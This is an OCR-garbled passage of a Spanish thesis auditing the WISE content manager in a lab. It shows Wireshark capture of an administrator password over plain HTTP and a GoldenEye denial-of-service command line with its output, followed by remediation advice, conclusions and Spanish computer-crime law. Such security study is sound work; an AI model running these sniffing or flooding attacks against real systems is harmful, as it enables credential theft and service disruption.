192.168.3.30 192.168.1.79 74 34725 > http [SYN] Seq=0 Win=20200 Len=0 MS5=1460 SACK_PERM=1 TSval=2452441 TSecr=0 WS=
Pegatron_Bc:32:27 Broadcast ARP 60 Who has 192.168.1.17 Tell 192.168.1.79

192.168.1.79 192.168.3.30 TCP 74 http = 34725 [SYN, ACK] Seq=0 Ack=1 Win=B122 Len=0D MS5=1460 WS=256 SACK_PERM=1 TSval=6€
192.168.3.30 182.168.1.79 TCP 66 34725 = http [AK] Seg=1 Ack=1 Win=29312 Len=0 TSval=2452441 TSecr=66639

192.168.3.30 192.168.1.79 HTTP 365 GET / HTTP/L.1

192.168.1.79 182.168.3.30 HTTP 325 HTTP/1.1 302 Moved Temporarily

152.168.3.30 162.168.1.79 TCR 66 34725 = http [ACK] Seq=300 Ack=260 Win=30336 Len=0 TSval=2452462 TSecr=66547
192.168.3.30 152.168.1.79 HTTP 359 GET /WISE HTTP/1.1

192.168.1.79 192.168.3.30 TCp 78 http > 34725 [ACK] Seq=260 Ack=603 Win=66304 Len=D TSval=66675 TSecr=2452482 SLE=300 SF
192.168.1.79 192, 168.3.30 TCP 1514 [TcP segment of a reassembled POU]

192.168.3.30 192.168.1.79 TCR 66 34725 = http [ACK] Seq=503 Ack=1708 Win=33280 Len=0 TSval=2452544 TSecr=65680
192.168.1.79 152.168.2.30 TcP 1514 [TcP segment of a reassembled poul

192.168.3.30 152.168.1.79 TCP 66 34725 > http [ACK] Seq=603 Ack=3156 Win=35056 Len=0 TSval=2452544 TSecr=65680
192.168.1.79 192.188.3.30 TP 1514 [TcP segment of & reassenbled POU]

192.168.3.30 152.168.1.79 TcP 66 34725 = http [ACK] Seq=503 Ack=4604 Win=39040 Len=0 TSval=2452544 TSecr=65680
192.168.1.79 152.168.3.30 TCP 1514 [TCP segment of a reasselrk*ed =]

192.168.3.30 152.168.1.79 TCP 66 34725 > http [ACK] Seq=602 Ack=86052 Win=41856 Len=0 TSval=2452544 TSecr=65680
152.168.1.79 192.168.3.30 TCP 1514 [TCP segment of a reassembled POU]

192.168.3.30 152.168.1.79 Tcp 66 34725 = http [ACK] Seq=603 Ack=7500 Win=44800 Len=0 TSval=2453544 TSecr=65580
192,168.1.79 152, 1668.3.30 TCP 1514 [TCP segment of a reassembled POU]

192.168.3.30 192.168.1.79 TP 66 34725 = http [AcK] Seq=603 Ack=8948 Win=47744 Len=0 TSval=2452544 TSecr=65680
192.168.1.79 162.168.32.30 TCP 1514 [TCP segment of a reassembled POU]

192,168.3.30 192.168.1.79 TCP 66 34725 > http [ACK] Seo=8603 Ack=10396 Win=50560 Len=0 TSval=2452545 TSecr=56680

O‘_‘fr Frame (frame), 74 bytes

Packets: 3679 - Displayed: 3679 (100,0%)

o (hner 192 1A

Dropped: O (0,0%) Profile: Default

Figura 4-31 Captura: Trafico capturado por Wireshark

Seleccionando alguno de los paquetes y haciendo clic en Follow TCP Stream, se nos presenta
detalladamente el contenido completo de la captura. En cada uno de estos paquetes se muestra el
usuario y la contrasefia de la persona que realiza la accion. De esta forma, como se refleja en la Figura
4-32, en apenas unos segundos se obtiene la clave del administrador WISE.

File Edit

©e®

4 =

View Go Capture An Stream Content

Clay.
= r'] Content-Length: 66682
Last-Modified: Thu, 14 Jan 2016 11:59:24 GMT

Filter: ' tcp.stream eqO POST /WISE?PLOGIN=1 HTTP/1.1
Host: 192.168.1,79 . .
No Time Source User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:24.0) Gecko/20140924 Firefox,/24.0
Iceweasel/24.8.1
9 0.361288000 192. ERE. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8 _
10 0,361544000 192,168,1,7¢ AccePt'LangzagM enjUS.jnﬁﬂJﬁ Len=0 TSval=g
11 0.410771000 192.168.1.7( Lccept-Encoding: gzip, detlate

Referer: http://192.168.1.79/WISE?LOGIN=1

12 0.410792000 192.168.3.3( (Cookie: _Zopeld="34415900A7UUIpSNRYI" 3 Len=0 TSvals
« (Connection: keep-alive

) LA ) bl ollary Content-Type: application/x-www-form-urlencoded
14 0.410983000 192.168.3.3( Content- Lengiismss 5 Len=0 TSvald
15 0.411729000 192.168.1.7¢ A T =51 teadm P BETGE] ol1448 byt A X

ELNEL s teadming _ac password=S1teddminBE) PEel el T ytes missing in _ J
16 0.411742000 192.168.3.3( capture e |="Toolbar" HEIGHT="16" ALIGN="lefs”NOWRAP COLSPAN="2"> J Len=0 TSvals
17 0.411857000 192.168.1.7¢ <TAB Ry e St LDDTNG=" 0" CELLSPACING="0" WIDTH="100%"><TR>
18 0.411966000 192.168,3.3¢ |- <10 NOWRAP Eﬁfﬁf Toolbar"> 5 Len=0 TSvals
19 0.412539000 192.168.1,7¢ <a ta:‘ge‘r_="_tup" href='http://192. 168.1.79/WISE' clasi=‘Tau'Lbar'>Home<fa=-
20 0.412952000 192.168,.3.3t «  +eres &nbsp; | &nbsp; o 3 Len=0 TSvals

...<a class='Toanlhar' href='httn: //182.168.1.79/WISF/Profesaresn' >0ficiales v
21 0.413202000 192.168.1,7¢

| — .

22 0.413210000 192.168.3.3{ Wireshark: Find t - o x bas) o 4 Len=0 TSvals=
23 0.413431000 192.168.1.7%
24 0.413438000 192.168.3.3 Find text: | admin | ASCII ERCDIC Fiex\Dump CArrays @ Raw 5© Len=0 Tsval
25 0.413694000 192.168.1.74 ——————
26 0.413701000 192.168.3.3( e =t _ _ 24 Len=0 Tsval
27 0.413923000 192.168.1.7¢ T Filter Out This Stream Cerrar
28 0.413931000 192.168,3.3L SR — ror T —— AT TV P

Figura 4-32 Captura: Obteniendo la contrasefia del administrador con Wireshark
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Mediante sniffing obtenemos las credenciales siteadmin que otorgan derecho de acceso y
configuracion del portal. Estas credenciales pueden emplearse para infinidad de acciones. De la misma
forma, todos los paquetes se transmiten sin cifrar. En la Figura 4-33 se muestran los datos de un
usuario creado por el administrador.

Follow TCP Stream

Stream Content

P T Y T Y Y T T v

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.79/WISE/wise add user

Cookie: ZopeId="73780139A7U00r817kQ"; _ ac="9EvVk3QXDu3om/wgleT14%2BGnCcuwk3D%6A"
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 376

action=wise users&name=Prueba Sniffing&name wformat=string&first name=Robo&first name wformat=string&last name=wireshark&last
name wformat=string&email=sniTrTing%
40gmail.coméemail wformat=string&phone=632124146&phone wformat=string&title=Ladron&title wformat=string&password=robandoclave&p
assword wformat=string&vpassword=robandoclave&vpassword wformat=stringéadd.x=468&add.y=6HTTP/1.1 260 OK

Server: Zope/(Zope 2.6.4 (binary release, python 2.1, win32-x86), python 2.
Date: Wed, 10 Feb 2016 17:22:04 GMT
Content-Type: text/html

Expires: Wed, 10 Feb 2016 17:22:04 +0000
Cache-Control: private,max-age=6

Pragma: no-cache

Etag:

Content-Length: 36094

. PhoneNumber 666611112 2 Q@%
| Entire conversation (92672 bytes) Job Title [Man in the micde %3 v |
Buscar |  Guardarcomo || Imprimir () AsCl ) EBCDIC WA ax
: : Validate Password  seeeess an
Ayuda | |

Figura 4-33 Captura: Obteniendo los datos de un nuevo usuario con Wireshark

Asimismo, todos los procesos realizados sobre el gestor quedan reflejados. En la Figura 4-34 se
observa la modificacién del mensaje de bienvenida que muestra WISE en su pagina principal.

Stream Content

TR class='DataRowFiniteTable'>
<TD>
.<TABLE SUMMARY='' WIDTH='108%' BORDER='0'>
L<TR><TD>
Enter><img sro="htip://7192. 168, 1. 79/WISE/WELCOME/1mage™ alt="WELCOME" height="327
dth="538"><hr>Blenvenidos a la Wise de la Escuela Kaval Militar

La siguiente
licaci.n ha si1do creada por el Alf.rez de Fragata L.pez Garay pars la realizaci.n de
G "Herramientas de Sequridad en la Web®

mativacli . n de este estudio es La Ciberseguridad

realidad virtual que constituyen las redes y sus servidores y equipos, no es
pacio f.sico, sino conceptual, por donde circulan datos.

este entorno se producen

$ ataques, conocidos como ciberatagues, que son las acclones de la ciberguerra

te ellos es preciso reaccionar sediante acciones de defensa cibern. tica
Jeto de 1a Estrategis de Ciberdefensa.

estudio de estas estrateglias vy la aplicacl.n de herramientas de sequridad en la
SE, constituyen los objetivos pars los que s& crea este portal,

Con 15 ayuda de los tutores
L.n Barrag.ns y Pablo Send.n, se proceder.n a analizar las vulnerabilidades presentes
£5T0% entOrnos y se propondr.n medias que sirvan de
luct,

saludo, 2spero que disfruten!!

Figura 4-34 Captura: Texto editado en WISE
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De esta forma, con el empleo de la herramienta, se pueden interceptar todos los procesos que se
realizan sobre el sistema y lo peor de todo, se pueden obtener las credenciales de los usuarios
conectados. Esto supone una de las mayores vulnerabilidades del gestor de contenidos. Para
solventarla, se recomendaria utilizar el protocolo HTTPS donde la comunicacion va cifrada de extremo
a extremo y, por tanto, no seria posible la captura de credenciales.

4.3.1 Atague DoS

Como ultima etapa en el analisis de las vulnerabilidades que presenta WISE, procederemos a
realizar un ataque de denegacion de servicio. El objetivo de esta prueba es comprobar el nimero
maximo de conexiones que permite el sistema. En un entorno con un volumen considerable de
usuarios, el nimero maximo de peticiones que es capaz de procesar el sistema es un punto importante.
Para ello emplearemos la herramienta GoldenEye.

GoldenEye es una herramienta de ataques de denegacion de servicio. Utiliza peticiones KeepAlive
combinados con Cache—Control. A partir de estas peticiones se consigue saturar el servidor evitando
que las conexiones legitimas puedan establecerse.

Por defecto, al iniciar un ataque sobre una pagina web, la herramienta simula a 10 usuarios
realizando 500 peticiones simultaneas cada uno. No obstante, como se muestra en la Figura 4-35, estos
parametros pueden modificarse.

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org=>

USAGE: ./goldeneye.py <url> [OPTIONS]

OPTIONS:
Flag Description
fault
-u, --useragents File with user-agents to use
: randomly generated)
-w, --workers Number of concurrent workers
. 10)
-s, --sockets Number of concurrent sockets
: 500)
-m, --method HTTP Method to use 'get' or 'post' or

, --debug Enable Debug Mode [more verbose output]

Shows this help

Figura 4-35 Captura: Opciones GoldenEye

Tras variar los parametros del ataque DoS, comprobamos que el sistema colapsa cuando un dnico
usuario realiza 100 conexiones simultaneas (Figura 4-36).
:~/GoldenEye/GoldenEye-master$ ./goldeneye.py http://192.168.1.79 -w-1 ‘s 168
GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>
itting webserver in mode 'get' with 1 workers running 100 connections each. Hit CTRL+C to ct@cel.
0 GoldenEye strikes deferred. (669 Failed)

0 GoldenEye strikes deferred. (1578 Failed)
0 GoldenkEye strikes deferred. (2275 Failed)

0 GoldenkEye strikes deferred. (3578 Failed)
D GoldenEye strikes deferred. (4531 Failed)
D GoldenEye strikes deferred. (5689 Failed)
GoldenEye strikes deferred. (6605 Failed)
74
[5]1+ Detenido ./goldeneye.py http://192.168.1.79 -w 1 -s 100
:~/GoldenEye/GoldenEye-master$

Figura 4-36 Captura: Atague con un trabajador realizando 100 conexiones
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Una vez lanzado el ataque, el sistema rechazara nuevas conexiones. En la Figura 4-37 se refleja la
respuesta proporcionada por el navegador al intentar realizar una nueva conexion mientras se atacaba
al sistema.

This page can't be displayec

» Make sure the web address http://192.168.1.79 is correct.
* Look for the page with your search engine.

* Refresh the page in a few minutes.

l Fix connection problems ‘

Figura 4-37 Captura: WISE no puede ser mostrada tras ataque DoS

Del uso de GoldenEye podemos concluir que WISE es un sistema bastante limitado. Con tan s6lo
100 peticiones simultaneas se ha conseguido saturar el sistema imposibilitando las conexiones
verdaderas. Este hecho pone de manifiesto la escasa capacidad que presenta WISE para su uso en
organizaciones en las que un gran numero de usuarios necesiten acceder al sistema de manera
frecuente.
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5 EVALUACION DE LOS RESULTADOS
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5.1 Analisis del gestor de contenidos WISE

5.1.1 Instalacion y configuracion

Durante el capitulo 3 se ha llevado a cabo la instalacién y configuracién Classic del gestor de
contenidos WISE. Se ha seleccionado la version Classic por ser la configuracion empleada en las
unidades de la Armada. EIl desarrollo de este capitulo ha servido para familiarizarnos con el gestor a
nivel administrador. A pesar de ser un sistema manejable y sencillo, se trata de un CMS obsoleto cuya
ultima version fue desarrollada en el afio 2002. Este hecho, unido a su uso extendido en las unidades
navales, contrasta con las politicas del Ministerio de Defensa, que abogan por la renovacion, desarrollo
e innovacion de los sistemas y las tecnologias, de forma que se garantice la seguridad de la
informacion en el ambito de Defensa.

Analizando WISE dentro de la curva de aprendizaje, se puede afirmar que se trata de un gestor de
contenidos muy sencillo. En pocas horas, el nuevo administrador conoce las posibilidades que presenta
y es capaz de explotarlas. Sin embargo, tanto las posibilidades como los procesos, son limitados,
convirtiendo a WISE en un CMS poco desarrollado. Como apoyo durante el desarrollo del TFG, se ha
empleado la documentacion que proporciona el gestor. En este proceso se ha desarrollado una pagina
web que ilustra con detalle el uso que de WISE se realizaria en la Escuela Naval Militar. Durante la
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configuracion del portal han ido apareciendo numerosas carencias o limitaciones que presenta el
sistema.

El primer punto a destacar es que, tanto en la configuracion Classic como Enterprise, WISE
almacena las entradas y modificaciones del sistema en el fichero Data.fs. En un entorno con
multiples usuarios en el que el portal se actualice frecuentemente, este fichero creceria
rapidamente. Asociado a su tamafio encontramos uno de los mayores defectos del sistema. Si el
archivo supera los 2GB, el sistema se bloguea. Como solucién, en la misma guia de
administracion, se recomienda realizar un empaquetado del archivo Data.fs cada quince dias.
En segundo lugar, en cuanto a las limitaciones en las posibilidades que presenta WISE, se han
localizado ciertas carencias debidas a la falta de actualizaciones del sistema. Un ejemplo de ello es
la inexistencia de un editor de texto (WYSIWYG), debiéndose realizar la edicion mediante el
empleo de comandos HTML. Aunque se trata de un hecho de importancia menor, recalca la
antiguedad del gestor.
En tercer lugar, se deben sefialar las limitaciones en cuanto a la gestion de los usuarios. WISE no
permite otorgar roles comunes a un grupo especifico de usuarios, como podrian ser los roles
comunes para cada una de las subwise Profesor, Alumno o Dotacién. Actualmente, la gestion de
roles se realiza de forma individual. A cada nuevo usuario se le conceden unos permisos
particulares, dentro de la configuracion de cada subpéagina. Esta tarea, en principio sencilla, puede
ser tediosa a medida que aumente el nimero de usuarios. Este hecho se refleja en los buques,
donde més de 200 personas tienen acceso a WISE. Para simplificar la creacion de usuarios, se
suelen crear usuarios genéricos, en los que se agrupa un gran colectivo (por ejemplo, el usuario
Guardiamarina para todos los alumnos embarcados en el Juan Sebastian Elcano). Este hecho
supone una pérdida de control sobre las acciones que realiza cada usuario. Al conceder usuarios
geneéricos, un empleado descontento podria realizar un ataque desde el anonimato que proporciona
el usuario compartido. Una tabla en la que se pudiesen conceder roles genéricos a una serie de
usuarios, facilitaria mucho la tarea de gestion de sesiones y el control de la informacion.
Estos entornos WISE, en su conjunto, tienen como puntos negativos la exigencia de un esfuerzo
de actualizacion a las unidades que lo utilizan y, ademas, el hecho de que el gestor haya quedado
obsoleto, dejando de actualizarse, puede suponer un problema en algunas ocasiones. Por otra
parte, presenta puntos positivos, para las unidades operativas que hacen uso de él, como son la
facilidad para compartir documentos y establecer calendarios y, especialmente, por el hecho de
trabajar sobre servidores propios, se realiza un mejor aprovechamiento del ancho de banda. Esto
supone un punto destacable en condiciones de conexion restrictivas, como son, las de los buques
en la mar.
En cuanto a los roles, el sistema proporciona Unicamente dos posibilidades: Site Administrator y
User. Este hecho constituye otra de las limitaciones del gestor. Mientras que el rol User solamente
proporciona acceso, el rol Site Administrator otorga el privilegio de la configuracion completa de
la subwise. EIl sistema carece de roles intermedios que establezcan una diferencia entre el
administrador y los usuarios destinados a descargar o actualizar la documentacion. Ademas, estos
roles se aplican a toda la subwise, no pudiendo establecerse restricciones a areas o containers
especificos.
Otro de los puntos a destacar en WISE es que, en la configuracion estandar para la version
Classic, no se emplea una base de datos relacional, si no que se genera un directorio WISE en el
que se almacenan los archivos y usuarios. La mayoria de sistemas CMS actuales trabajan sobre
una base de datos relacional. Entre las mdltiples ventajas que presenta, se encuentran la velocidad
para realizar operaciones y la compatibilidad con diferentes sistemas operativos. No obstante, la
instalacion en la version Enterprise permite incorporar una base de datos relacional como
repositorio para el portal.
Por ultimo, WISE es una aplicacion disefiada para ser empleada exclusivamente sobre el sistema
operativo Windows. Esto supone una limitacion en cuanto las plataformas sobre las que se puede
desplegar.
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5.1.2 Auditoria

Tras la instalacion y configuracion, se ha llevado a cabo una auditoria sobre el gestor. El primer
punto a analizar han sido las vulnerabilidades a nivel interno, también conocidas como Internal
Footprinting. En esta primera fase, desde el punto de vista del administrador, se ha analizado el
directorio en el que se almacenan todos los documentos que se vuelcan sobre WISE, asi como los
plugins de instalacion. En este directorio se encuentra el documento Data.fs. Ademas de los problemas
que su tamafio puede ocasionar, en este fichero quedan registradas las transacciones realizadas, asi
como las entradas de los usuarios y sus contrasefias, todas ellas sin cifrar. Simplemente accediendo al
directorio WISE, se podrian obtener todas las credenciales de los usuarios, con los problemas que ello
supondria.

Posteriormente se presentaron algunas de las herramientas de monitorizacion del sistema que
presenta el sistema operativo. Si bien existen herramientas mas sofisticadas para la monitorizacion del
servidor, a modo de ejemplo se ilustraron algunos comandos que permiten analizar las conexiones y
usuarios del servidor. Estos comandos podrian reflejar intentos de acceso al sistema o ataques en
curso.

A continuacion se ha analizado el gestor de contenidos desde un nivel externo (External
Footprinting). Como primer paso se ha realizado una recogida de informacién sobre las versiones de
programas ejecutados, sistema operativo y puertos en funcionamiento. Para ello se han empleado
distintas herramientas que proporciona Kali Linux como son: Whatweb, Zenmap o Nmap. Tras su
empleo se han obtenido los siguientes datos:

e Laversion de ZOPE empleada (Zope 2.6.4 (binary release, python 2.1, win32-x86)).
e El puerto sobre el que se ejecuta WISE (Puerto 80).
e El sistema operativo Windows 7, 64 bits.

Tras la obtencion de estos datos, se puede concretar el tipo de ataque a realizar, obteniendo las
vulnerabilidades conocidas que las versiones empleadas presentan.

Con el mismo proposito y a modo de ejemplo, se ha realizado un andlisis de metadatos con la
herramienta FOCA. De los metadatos se puede obtener informacion muy valiosa como nombres de
usuarios, cuentas de correo electrénico, software y programas utilizados para su creacion, entre otros.
Se debe sefialar que los datos obtenidos proceden de los documentos publicados en WISE. Al tratarse
de una pagina desarrollada para el estudio de sus vulnerabilidades, los datos obtenidos no tienen
relevancia y desde luego, el resultado seria totalmente diferente si varidsemos el contenido. No
obstante, el empleo de FOCA ha servido para ilustrar la cantidad de informacion que, de manera
desconocida, se puede llegar a publicar en la red. Gracias al empleo de FOCA se ha obtenido el
nombre completo de los creadores de los documentos que en WISE se publican, el software o
programas empleados en el desarrollo de estos documentos, asi como la version de dispositivos
electrdénicos. En el caso de un ataque real sobre un sitio web, de la informacion extraida se podrian
obtener los usuarios que componen la organizacién, asi como los sistemas y versiones que emplean.
Una vez conocidos los usuarios, el siguiente paso seria localizar sus direcciones de correo electronico
para interactuar con ellos. En este caso, la ingenieria social podria ser un método para la obtencion de
contrasefias que proporcionasen el acceso al sistema.

El siguiente paso ha sido analizar las vulnerabilidades. Para ello, en primer lugar se ha empleado la
herramienta BlindElephant. Sin embargo, al escanear WISE no se han encontrado coincidencias con
ninguna version de aplicacion o CMS conocido. Esto se debe a que, tanto el uso como el desarrollo de
WISE, se restringen al &mbito de Defensa.

A continuacion, se han empleado los escaneres ZAP y VEGA. Estas herramientas lanzan una serie
de ataques que destapan las vulnerabilidades o fallos de seguridad. De los fallos obtenidos se deben
descartar todos aquellos que aluden a la inyeccién SQL, puesto que en la configuracién seleccionada
no se emplea una base de datos relacional.
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Las vulnerabilidades localizadas tras la realizacion de la auditoria son las siguientes:

e Se accede a las credenciales del administrador mediante la captura de trafico.

e Al acceder a un documento publicado en WISE, se muestran los directorios de los contenidos en
el servidor.

e Usuarios remotos no autenticados podrian realizar un ataque DoS.

e Debilidades en la gestion de permisos y privilegios en el sistema.

e Debilidades en la gestion de recursos en el sistema.

Por otro lado, a pesar de las vulnerabilidades localizadas mediante las herramientas, se extraen las
siguientes conclusiones:

e Al no trabajar sobre base de datos relacional, no se puede explotar esta vulnerabilidad.

e ZOPE bloguea los exploits lanzados contra el sistema.

e A pesar de detectarse vulnerabilidades XSS, no se consigue introducir URL en el gestor sin
autenticarnos. No obstante, una vez se obtienen las credenciales de usuario, podria ejecutarse
mediante la introduccion de enlaces URL que permite generar WISE.

En altimo lugar se empled la herramienta GoldenEye. Mediante esta herramienta, se consiguio
realizar un ataque de denegacion de servicio, demostrando la facilidad que presenta el sistema para ser
vulnerado por un ataque de estas caracteristicas. Este problema puede deberse a la instalacion de WISE
sobre un servidor no optimizado para procesar un gran nimero de peticiones simultaneas. De todas
formas, el resultado obtenido resalta la limitacion que el sistema WISE podria tener en una
organizacion en la que un gran ndmero de usuarios hagan uso del gestor de forma simultdnea. No
obstante, en el caso de la Armada, la posibilidad de que 100 usuarios accedan de forma simultanea al
servidor, resulta una opcion casi imposible.

5.1.3 Posibles soluciones

Los sistemas deben evolucionar constantemente para corregir los errores de seguridad que los
comprometan. De la misma forma, los usuarios deben instalar las actualizar de las aplicaciones,
evitando asi que vulnerabilidades corregidas puedan ser explotadas. Ademas, los administradores de
los sistemas WISE deben conocer las vulnerabilidades que el gestor presenta.

El servidor WISE debe encontrarse protegido. Para ello se deben emplear contrasefias seguras, asi
como un antivirus y firewall actualizados. Ademas, se debe restringir el acceso fisico al equipo pues,
una vez se tiene acceso al servidor, es facilmente vulnerable. Como solucién a las vulnerabilidades
detectadas se propone:

e Aplicar el protocolo SSL/HTTPS en el servidor WISE. De esta forma, las peticiones que se
realicen hacia el servidor irdn cifradas. Este protocolo evitaria que las credenciales de los
usuarios sean capturadas mediante el analisis del trafico.

e Modificar la gestion que actualmente se realiza de los usuarios. Cada usuario debe poseer sus
credenciales personales, de forma que se pueda realizar un control y seguimiento de las acciones
que cada usuario lleva a cabo.

e Como defensa ante la posibilidad de un ataque DoS, se podria bloquear la IP de origen del
equipo que esté realizando un comportamiento anémalo. Los servidores Windows permiten el
bloqueo selectivo de las peticiones de este tipo. Ademas, resulta conveniente la instalacion de
WISE en un servidor, no en un equipo de sobremesa. En los buques, la instalacion de WISE se
realiza sobre servidores independientes que trabajan sobre el sistema operativo Windows 2008,
por lo que los resultados obtenidos cambiarian sustancialmente.
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Finalmente, la gestion de los usuarios y los activos es uno de los aspectos mas complicados y a la
vez mas interesantes. Ademas del personal, son muchos los activos que se gestionan en la
Armada, desde ordenadores corporativos hasta dispositivos personales, pasando por servidores,
memorias portatiles, tablets y teléfonos moviles. Por ello es necesario disponer de un inventario
de los activos para gestionarlos de una manera correcta. Limitar el nimero de dispositivos con
acceso a informacion clasificada, es una de las primeras medidas a establecer para la creacion de
un entorno seguro.
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6 CONCLUSIONES Y LINEAS FUTURAS

6.1 Conclusiones

Finalizado el trabajo, es hora de analizar si se han conseguido cumplir con éxito los objetivos
generales y especificos que se marcaron al inicio.

Tras la investigacion y estudio desarrollado, se ha adquirido una vision clara y actual de los
principales problemas que afectan a la seguridad en aplicaciones web. El rapido desarrollo y expansion
de las aplicaciones y los gestores de contenidos viene acompafiado de un crecimiento exponencial de
los ciberdelitos. En este contexto, los estados y organizaciones se ven obligados a desarrollar nuevas
politicas y estrategias en materia de ciberdefensa, de forma que se interpongan barreras para la defensa
ante estas amenazas.

Del mismo modo, se han analizado las diversas formas de ataques sobre entornos web y variantes
del malware (Anexo Il). El incremento de estos ataques y la falta de concienciacién de los usuarios
suponen uno de los mayores riesgos para las organizaciones. Para la defensa contra estas amenazas y
la generacion de un entorno mas seguro, se han recogido una serie de plataformas y herramientas para
el andlisis de vulnerabilidades web. Estas herramientas permiten auditar las aplicaciones y localizar
fallos de seguridad.

Como objeto de estudio, se ha instalado y configurado el gestor de contenidos WISE. De esta
forma, se han adquirido los conocimientos necesarios para la administracion del sistema. Se conoce
ahora el funcionamiento de este CMS empleado en la Armada.

88



DESPLIEGUE DEL GESTOR DE CONTENIDOS WISE Y ANALISIS DE VULNERABILIDADES

Por ultimo, se ha realizado un analisis de vulnerabilidades del gestor, aplicando distintas
herramientas con las que nunca antes se habia trabajado. Analizado el gestor, se han descubierto
ciertas vulnerabilidades, llegando a la conclusion de que el sistema tiene un nivel de seguridad bajo.

Debido al tiempo limitado, no se han explotado de manera extensiva todas las posibilidades en las
que se podria vulnerar el sistema. Tampoco se han podido aplicar medidas que generen una plataforma
mas segura, parte que se plantea como lineas futuras.

6.2 Lineas futuras

A continuacion, se presentan como lineas futuras una serie de tareas que profundicen en las
vulnerabilidades del sistema WISE.

Para comenzar, seria recomendable repetir el estudio sobre la configuracion Enterprise, empleando
una base de datos relacional. De esta forma se podrian analizar las ventajas y desventajas que, desde el
punto de vista de la seguridad en la web, se proporciona la version Enterprise frente a la Classic.
Durante el analisis, se han descubierto algunas vulnerabilidades no explotadas. En caso de realizarse la
configuracién indicada, se recomienda analizar:

Inyeccion SQL.

Realizacion de un ataque XSS.
Realizacion de un ataque XSRF.
Inyeccion URL.

Después, se podria avanzar en la adopcion de protocolos de seguridad y cifrado de informacion.
Esto corregiria la mayor parte de las vulnerabilidades localizadas: la obtencién de las credenciales
mediante sniffing. Para ello, se podria utilizar el protocolo HTTPS. De la misma forma, se deberia
analizar si estas medidas son de utilidad o, por el contrario, seria oportuno sustituir WISE por un
gestor de contenidos mas actual y potente. En esta linea, se propone analizar los distintos CMS
existentes, estudiando la posibilidad de sustituir WISE por un sistema actualizado que presente las
capacidades que se requieren en las unidades navales, y garantice el nivel de seguridad adecuado a los
contenidos que en WISE se comparten. Para ello, se deberia proceder a la instalacién y configuracion
de distintos gestores de contenidos, evaluando la facilidad de configuracion, administracion y empleo.
De realizarse este estudio, se deberian comparar los beneficios que la sustitucién de WISE tendria,
considerando el esfuerzo de implantacion y aprendizaje que ello supondria.

Finalmente, se deberian analizar el grado de seguridad que cada uno de estos sistemas presenta,
realizando una valoracion que identifique al mejor candidato para una posible sustitucion de WISE.

6.3 Valoracion personal

En un entorno donde los sistemas informéaticos se encuentran en continua expansion, se deben
revisar todos los procesos de seguridad para asumir este desarrollo. La formacion en ciberseguridad es
necesaria para que los empleados puedan desempefiar sus funciones de forma segura y adecuada. En
linea con las nuevas politicas en materia de ciberdefensa, las unidades navales deben velar por la
implementacion de buenas préacticas, evitando la exposicion de informacion sensible. En los buques
existen zonas e informacion consideradas como criticas a las que no debe tener acceso cualquier
persona. En ellas se almacena informacion confidencial y por eso, se establecen permisos de acceso al
personal estrictamente necesario. En cuanto al empleo del gestor de contenidos WISE, se deben
establecer las medidas necesarias para seguir haciendo uso de las nuevas tecnologias, de manera
segura.
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ANEXO |: LEGISLACION SOBRE DELITOS INFORMATICOS EN
ESPANA

Articulos del Cédigo Penal Espafol referentes a Delitos Informéticos (Ley-Orgéanica
10/1995, de 23 de noviembre BOE numero 281, de 24 de noviembre de 1995)

« Articulo 197

1.- El que para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento, se apodere
de sus papeles, cartas, mensajes de correo electronico o cualesquiera otros documentos o efectos
personales o intercepte sus telecomunicaciones o utilice artificios técnicos de escucha, transmision,
grabacion o reproduccion del sonido o de la imagen, o de cualquier otra sefial de comunicacion, sera
castigado con las penas de prision de uno a cuatro afios y multa de doce a veinticuatro meses.

2.- Las mismas penas se impondran al que, sin estar autorizado, se apodere, utilice o0 modifique, en
perjuicio de tercero, datos reservados de caracter personal o familiar de otro que se hallen registrados
en ficheros o soportes informaticos, electrénicos o telematicos, o en cualquier otro tipo de archivo o
registro publico o privado. lguales penas se impondrdn a quien, sin estar autorizado, acceda por
cualquier medio a los mismos y a quien los altere o utilice en perjuicio del titular de los datos o de un
tercero.

3.- Se impondra la pena de prision de dos a cinco afios si se difunden, revelan o ceden a terceros los
datos o hechos descubiertos o las iméagenes captadas a que se refieren los nimeros anteriores. Sera
castigado con las penas de prision de uno a tres afios y multa de doce a veinticuatro meses, el que, con
conocimiento de su origen ilicito y sin haber tomado parte en su descubrimiento, realizare la conducta
descrita en el parrafo anterior.

4.- Si los hechos descritos en los apartados 1 y 2 de este articulo se realizan por las personas
encargadas o responsables de los ficheros, soportes informaticos, electronicos o telematicos, archivos o
registros, se impondra la pena de prision de tres a cinco afios, y si se difunden, ceden o revelan los
datos reservados, se impondra la pena en su mitad superior.

5.- Igualmente, cuando los hechos descritos en los apartados anteriores afecten a datos de caracter
personal que revelen la ideologia, religion, creencias, salud, origen racial o vida sexual, o la victima
fuere un menor de edad o un incapaz, se impondran las penas previstas en su mitad superior.

6.- Si los hechos se realizan con fines lucrativos, se impondran las penas respectivamente previstas en
los apartados 1 al 4 de este articulo en su mitad superior. Si ademas afectan a datos de los mencionados
en el apartado 5, la pena a imponer sera la de prisién de cuatro a siete afos.

e Articulo 198

La autoridad o funcionario pablico que, fuera de los casos permitidos por la Ley, sin mediar causa
legal por delito, y prevaliéndose de su cargo, realizare cualquiera de las conductas descritas en el
articulo anterior, sera castigado con las penas respectivamente previstas en el mismo, en su mitad
superior y, ademas, con la de inhabilitacion absoluta por tiempo de seis a doce afios.

« Articulo 199
1.- El que revelare secretos ajenos, de los que tenga conocimiento por razon de su oficio o sus

relaciones laborales, serd castigado con la pena de prision de uno a tres afios y multa de seis a doce
meses.
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2.- El profesional que, con incumplimiento de su obligacion de sigilo o reserva, divulgue los secretos
de otra persona, sera castigado con la pena de prision de uno a cuatro afios, multa de doce a
veinticuatro meses e inhabilitacion especial para dicha profesidn por tiempo de dos a seis afios.

« Articulo 200

Lo dispuesto en este capitulo sera aplicable al que descubriere, revelare o cediere datos reservados de
personas juridicas, sin el consentimiento de sus representantes, salvo lo dispuesto en otros preceptos de
este codigo.

» Articulo 201

1.- Para proceder por los delitos previstos en este capitulo sera necesaria denuncia de la persona
agraviada o de su representante legal. Cuando aquélla sea menor de edad, incapaz o una persona
desvalida, también podra denunciar el Ministerio Fiscal.

2.- No sera precisa la denuncia exigida en el apartado anterior para proceder por los hechos descritos
